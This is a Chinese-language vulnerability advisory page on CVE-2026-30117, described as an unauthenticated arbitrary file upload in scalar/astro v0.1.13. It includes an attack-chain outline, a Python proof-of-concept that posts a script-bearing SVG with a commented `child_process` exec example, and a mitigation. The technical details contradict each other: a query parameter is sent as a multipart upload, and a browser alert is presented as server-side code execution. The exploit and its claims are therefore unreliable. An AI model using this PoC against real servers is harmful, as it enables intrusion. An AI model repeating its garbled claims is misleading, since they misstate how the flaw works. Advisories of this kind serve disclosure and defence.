IPBUF安全漏洞报告
English
CVE-2026-30117 CVSS 9.8 严重

CVE-2026-30117:scalar/astro任意文件上传漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-30117
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
scalar/astro

相关标签

任意文件上传远程代码执行scalar/astroCVE-2026-30117

漏洞概述

scalar/astro v0.1.13 版本中存在严重的安全漏洞。该漏洞位于 Scalar Proxy 端点的 scalar_url 查询参数中,由于缺乏有效的文件类型验证,导致攻击者可以上传任意文件。攻击者可利用此漏洞上传特制的 SVG 文件,进而在服务器上执行任意代码,完全控制受影响系统。

技术细节

该漏洞的核心原因在于 scalar/astro 组件在处理 Scalar Proxy 端点的 scalar_url 查询参数时,未对用户输入的文件进行严格的类型和内容校验。攻击者可以在无需身份认证的情况下,构造特定的 HTTP POST 请求,将包含恶意 JavaScript 或后门代码的 SVG 文件上传至服务器。由于服务端可能未对 SVG 文件中的脚本内容进行有效的过滤或沙箱隔离,导致文件在服务器端被解析或渲染时触发恶意代码执行。该漏洞 CVSS 3.1 评分为 9.8,属于严重级别,攻击复杂度低,且无需用户交互,成功利用后可导致服务器被完全控制,造成数据泄露、篡改或服务中断。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在运行 scalar/astro v0.1.13 版本,并定位到 Scalar Proxy 端点。
STEP 2
漏洞利用
攻击者构造包含恶意 SVG 文件的 HTTP POST 请求,将其发送至 scalar_url 参数处理端点。
STEP 3
代码执行
服务器接收并处理上传的 SVG 文件,解析其中嵌入的恶意脚本,导致攻击者在服务器端执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-30117 import requests target = "http://vulnerable-host/proxy" # Malicious SVG payload intended for code execution svg_payload = """<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /> <script type="text/javascript"> // Arbitrary code execution payload // Example: require('child_process').exec('whoami'); alert('Vulnerable to CVE-2026-30117'); </script> </svg>""" # Exploit the scalar_url parameter files = {'scalar_url': ('exploit.svg', svg_payload, 'image/svg+xml')} response = requests.post(target, files=files) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Check the server for code execution.") else: print("[-] Exploit failed.")

影响范围

scalar/astro v0.1.13

防御指南

临时缓解措施
如果无法立即升级,建议临时禁用 Scalar Proxy 功能,或在网络边界(如 WAF)部署规则,拦截针对 scalar_url 参数的异常文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表